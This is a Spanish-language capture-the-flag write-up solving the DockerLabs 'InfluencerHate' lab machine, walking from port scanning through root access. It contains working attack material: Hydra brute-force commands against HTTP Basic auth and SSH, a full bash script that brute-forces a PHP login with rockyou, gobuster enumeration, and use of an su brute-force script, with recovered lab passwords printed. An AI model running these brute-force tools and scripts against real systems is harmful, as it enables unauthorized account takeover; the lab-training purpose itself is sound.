InfluencerHate DockerLabs (Easy)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip influencerhate.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh influencerhate.tar

Info:

                            ##        .         
                      ## ## ##       ==         
                   ## ## ## ##      ===         
               /""""""""""""""""\___/ ===       
          ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
               \______ o          __/           
                 \    \        __/            
                  \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
                                     

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-12 03:12 EDT
Nmap scan report for packer.pw (172.17.0.2)
Host is up (0.00021s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey: 
|   256 86:ba:77:96:38:4e:54:22:d9:09:f1:03:17:bd:52:43 (ECDSA)
|_  256 28:b4:8b:66:08:67:77:f9:b0:f6:c2:94:58:34:dd:47 (ED25519)
80/tcp open  http    Apache httpd 2.4.62
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Zona restringida
|_http-title: 401 Unauthorized
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.72 seconds

Veremos que tendremos un puerto 80 en el que aloja una pagina web, si entramos en dicha pagina veremos que nos pide unas credenciales en forma de una alerta, por lo que vamos a realizar un poco de fuerza bruta a ver si encontramos suerte.

Antes para saber a que nos estamos enfrentando vamos a capturar la peticion para ver que tipo de autenticacion es, abriremos BurpSuite, configurandolo en el mismo puerto para que intercepte las peticiones, vamos a loguearnos con admin:admin estando a la escucha con BurpSuite capturara la peticion y veremos lo siguiente:

GET / HTTP/1.1 
Host: 172.17.0.2 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate, br 
Connection: keep-alive 
Upgrade-Insecure-Requests: 1 
If-Modified-Since: Thu, 10 Jul 2025 15:00:29 GMT 
If-None-Match: "162e-63994744d428b-gzip" 
Priority: u=0, i 
Authorization: Basic YWRtaW46YWRtaW4=

Veremos que esta utilizando especificamente Basic codificado en Base64 si lo decodificamos veremos esto:

echo 'YWRtaW46YWRtaW4=' | base64 -d

Info:

admin:admin

Veremos que ciertamente es lo que pusimos, por lo que ahora si vamos a probar a realizar fuerza bruta con hydra.

Hydra

Despues de un rato, estaba claro que iba a tardar muchisimo en intentar encontrar credenciales con dos diccionarios diferentes con hydra, por ello me descargue en SecList un diccionario en la que vienen usuarios y passwords por defecto para probar con el parametro -C de hydra.

URL = Download List Defaults Credentials

hydra -C ftp-betterdefaultpasslist.txt <IP> http-get / -t 64 -I -e nsr

Info:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-12 03:35:11
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 264 login tries, ~5 tries per task
[DATA] attacking http-get://172.17.0.2:80/
[80][http-get] host: 172.17.0.2   login: httpadmin   password: fhttpadmin
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
The session file ./hydra.restore was written. Type "hydra -R" to resume session.

Con esto veremos que ha funcionado, por lo que vamos a probarlas en el login web a ver si nos deja.

User: httpadmin
Pass: fhttpadmin

Una vez logueados veremos la pagina de apache2 normal, por lo que no veremos nada interesante, vamos a realizar un poco de fuzzing a ver que encontramos.

Gobuster

Vamos a capturar de nuevo la peticion de BurpSuite para ver como funciona la cabecera una vez autenticado y poderlo poner en Gobuster con el -H.

GET /login.php HTTP/1.1
Host: 172.17.0.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Basic aHR0cGFkbWluOmZodHRwYWRtaW4=
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Vemos que que en la parte de Authorization es lo que nos interesa, por lo que copiaremos esa parte de ahi y la pegaremos en Gobuster quedando el comando asi:

gobuster dir -u http://<IP>/ -w <WORDLIST> -x php,txt,html -H "Authorization: Basic aHR0cGFkbWluOmZodHRwYWRtaW4=" -s 200 --status-codes-blacklist "" -k -r -t 50

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:               http://172.17.0.2/
[+] Method:            GET
[+] Threads:           50
[+] Wordlist:          /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:      200
[+] User Agent:        gobuster/3.6
[+] Extensions:        html,php,txt
[+] Follow Redirect:   true
[+] Timeout:           10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 10701]
/login.php            (Status: 200) [Size: 2798]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================

Veremos que hay un recurso llamado login.php, vamos a ver que contiene visitandolo.

Escalate user balutin

Entrando en el mismo veremos otro login el cual vamos a realizar un poco de fuzzing e intentar realizar un poco de fuerza bruta.

Vamos a crearnos un script en bash para automatizar el ataque de esta forma:

forcePass.sh

#!/bin/bash

URL="http://<IP>/login.php"
USER="admin"
WORDLIST="/usr/share/wordlists/rockyou.txt"
AUTH_HEADER="Authorization: Basic aHR0cGFkbWluOmZodHRwYWRtaW4="
FAIL_STRING="Credenciales incorrectas."

while read -r PASS; do
    echo "[*] Probando contraseña: $PASS"
    RESPONSE=$(curl -s -X POST "$URL" \
      -H "$AUTH_HEADER" \
      -d "username=$USER&password=$PASS")

    if [[ "$RESPONSE" != *"$FAIL_STRING"* ]]; then
        echo "[+] ¡Contraseña encontrada!: $PASS"
        exit 0
    fi
done < "$WORDLIST"

echo "[-] No se encontró la contraseña correcta en el wordlist."
exit 1

Vamos a probar con el usuario admin de primeras, el cual va a funcionar por suerte, lo ejecutaremos de esta forma:

chmod +x forcePass.sh
bash forcePass.sh

Info:

.................................<RESTO_CODIGO>....................................
[*] Probando contraseña: chocolate
[+] ¡Contraseña encontrada!: chocolate

Veremos que ha funcionado, por lo que vamos a probarlas en la web.

Una vez que las probemos veremos esto otro:

Vemos que nos esta dando un usuario, por lo que vamos a realizar fuerza bruta de nuevo esta vez por SSH directamente con dicho usuario.

Hydra

hydra -l balutin -P <WORDLIST> ssh://<IP> -t 64 -I

Info:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-12 04:11:19
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: balutin   password: estrella
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 10 final worker threads did not complete until end.
[ERROR] 10 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-12 04:11:28

Veremos que ha funcionado, por lo que ahora si nos vamos a conectar por SSH.

SSH

ssh balutin@<IP>

Metemos como contraseña estrella y veremos que estaremos dentro.

Escalate Privileges

Despues de un rato, no veremos nada, por lo que vamos a probar a realizar de nuevo fuerza bruta con el usuario root, utilizando su de esta forma.

Antes nos pasaremos el rockyou.txt desde nuestro host ponemos esto:

scp /usr/share/wordlists/rockyou.txt balutin@172.17.0.2:/tmp/

Metemos como contraseña estrella y veremos que se cargo correctamente, si lo comprobamos veremos que ha funcioando.

Ahora nos vamos a descargar el script que vamos a utilizar de aqui.

URL = Download suBruteforce.sh

Una vez que lo hayamos pasado tambien a /tmp vamos a darle permisos de ejecuccion y ejecutarlo de esta forma.

cd /tmp
chmod +x suBruteforce.sh
./suBruteforce.sh root rockyou.txt

Info:

[+] Contraseña encontrada para el usuario root:rockyou

Veremos que ha funcionado, por lo que vamos a probarlas.

su root

Metemos como contraseña rockyou y veremos que estaremos dentro.

Info:

root@4332e7afbc43:/tmp# whoami
root

Por lo que vemos ya seremos el usuario root, por lo que habremos terminado la maquina.

Last updated